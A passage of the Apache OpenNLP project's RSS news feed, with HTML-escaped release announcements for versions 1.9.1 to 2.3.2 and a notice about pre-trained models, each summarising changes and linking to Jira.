&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.3.2 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_3_2&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.3.2&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;In this release we fixed several bugs and upgraded some dependencies. In addition, we added abbreviation dictionaries for several languages.
Moreover, we addressed a memory issue (OPENNLP-421) which occurs for large dictionaries due to String interning. Several new configuration
options have been added to choose a strategy. Details can be found in the related Jira / PR.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;We switched the default onnx runtime dependency in opennlp-dl to the cpu variant. If you need to use the GPU accelerated version of onxx,
you can use the newly added module opennlp-dl-gpu. Moreover, we fixed the CLI on the Windows plattform.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list of improvements, please see the list of items addressed in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12353945&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.3.1 released</title>
      <link>https://opennlp.apache.org/news/release-231.html</link>
      <pubDate>Wed, 22 Nov 2023 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-231.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.3.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.3.1 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_3_1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.3.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It is a maintenance release which mainly provides enhancements. Some of these are related to sentences models and the use of abbreviations.
Moreover, it switches the ONNX runtime for the &apos;opennlp-dl&apos; component from the GPU to the CPU-based variant. Several other (cleanup) tasks have also been completed.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list of improvements, please see the list of items addressed in &lt;a href=&quot;https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12311215&amp;amp;version=12353478&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.3.0 released</title>
      <link>https://opennlp.apache.org/news/release-230.html</link>
      <pubDate>Mon, 31 Jul 2023 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-230.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.3.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.3.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_3_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.3.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It is a maintenance release with dependency upgrades, removal of deprecated methods, and bug fixes. It also raises the minimum Java version to 17.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list please see the list of items addressed in &lt;a href=&quot;https://issues.apache.org/jira/browse/OPENNLP-1483?jql=project%20%3D%20OPENNLP%20AND%20status%20in%20(Resolved%2C%20Closed)%20AND%20fixVersion%20%3D%202.3.0&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.2.0 released</title>
      <link>https://opennlp.apache.org/news/release-220.html</link>
      <pubDate>Sat, 22 Apr 2023 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-220.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.2.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.2.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_2_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.2.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This version contains improvements to logging by introducing SLF4J to replace logging using System.out. ONNX Runtime support for sentence-transformers was also introduced. This version also includes fixes for stemming, documentation, and unit tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list please see the list of items addressed in &lt;a href=&quot;https://issues.apache.org/jira/browse/OPENNLP-1483?jql=project%20%3D%20OPENNLP%20AND%20status%20in%20(Resolved%2C%20Closed)%20AND%20fixVersion%20%3D%202.2.0&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.1.1 released</title>
      <link>https://opennlp.apache.org/news/release-211.html</link>
      <pubDate>Thu, 23 Feb 2023 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-211.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.1.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.1.1 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_1_1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.1.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This version contains improvements to unit tests, code quality, JavaDocs, and a few minor fixes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list please see the list of items addressed in &lt;a href=&quot;https://issues.apache.org/jira/browse/OPENNLP-1370?jql=project%20%3D%20OPENNLP%20AND%20status%20in%20(Resolved%2C%20Closed)%20AND%20fixVersion%20in%20(2.1.1)%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.1.0 released</title>
      <link>https://opennlp.apache.org/news/release-210.html</link>
      <pubDate>Wed, 23 Nov 2022 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-210.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.1.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.1.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_1_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.1.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Update language codes in documentation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable optional GPU inference in ONNX Runtime configuration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Allow for unlimited text length in document classification with ONNX Runtime&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fix alphaNumOpt in tokenizer example&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Training of MaxEnt model with large corpora fails with java.io.UTFDataFormatException&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make parameter names in the params file be not case-sensitive&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Upgrade JUnit to version 5&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a full list please see the list of items addressed in &lt;a href=&quot;https://issues.apache.org/jira/browse/OPENNLP-1370?jql=project%20%3D%20OPENNLP%20AND%20status%20in%20(Resolved%2C%20Closed)%20AND%20fixVersion%20in%20(2.1.0)%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC&quot;&gt;Jira&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 2.0.0 released</title>
      <link>https://opennlp.apache.org/news/release-200.html</link>
      <pubDate>Sun, 5 Jun 2022 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-200.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 2.0.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 2.0.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_2_0_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 2.0.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Adds ability to download models from within Apache OpenNLP&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now builds using Java 11&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supports model inference using the ONNX Runtime&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Adds MASC format support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Made NameSample overlap exception more helpful&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tokenizers can now output a new line token&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Adding missing charset to DictionaryLemmatizer&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Updated documentation to fix training API sample code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed build issues with Java 17&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the &lt;em&gt;README.html&lt;/em&gt; file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.4 released</title>
      <link>https://opennlp.apache.org/news/release-194.html</link>
      <pubDate>Wed, 3 Nov 2021 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-194.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.9.4.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.9.4 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_9_4&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.9.4&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Refactorings to improve code quality and performance.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fix Parser top k parses doesn&amp;#8217;t show &quot;top&quot; (highest probability) parses.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use LinkedHashMap for deterministic iteration order.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed spelling errors in the documentation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>OpenNLP Pre-trained Models Available</title>
      <link>https://opennlp.apache.org/news/news-2021-05-30.html</link>
      <pubDate>Sun, 30 May 2021 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/news-2021-05-30.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pre-trained sentence, parts of speech, and token models are now available for English, French, Italian, German, and Dutch.
These models were trained on &lt;a href=&quot;https://universaldependencies.org&quot; class=&quot;external&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Universal Dependencies&lt;/a&gt; (UD) and are intended to provide usable models under the Apache 2.0 license.
See the models&apos; README for more information on the models including how each was created and evaluated.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.3 released</title>
      <link>https://opennlp.apache.org/news/release-193.html</link>
      <pubDate>Fri, 31 Jul 2020 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-193.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.9.3.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.9.3 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_9_3&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.9.3&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Resolved issues building on Java 11.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Using strict math for calculations for consistent evaluations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Implement Serializable in langdetect and normalize.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed issue where language detector fails to predict language on long input texts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Documentation improvements.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add support for Catalan and Indonesian stemmers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.2 released</title>
      <link>https://opennlp.apache.org/news/release-192.html</link>
      <pubDate>Thu, 26 Dec 2019 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-192.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.9.2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.9.2 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_9_2&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.9.2&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Add SHA-512 checksum files for artifacts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LanguageDetectorEvaluatorTest failure in Windows.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Build Warnings due to deprecated pom.version.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add support for Arabic and Greek stemmers.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.1 released</title>
      <link>https://opennlp.apache.org/news/release-191.html</link>
      <pubDate>Mon, 31 Dec 2018 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-191.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.9.1.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
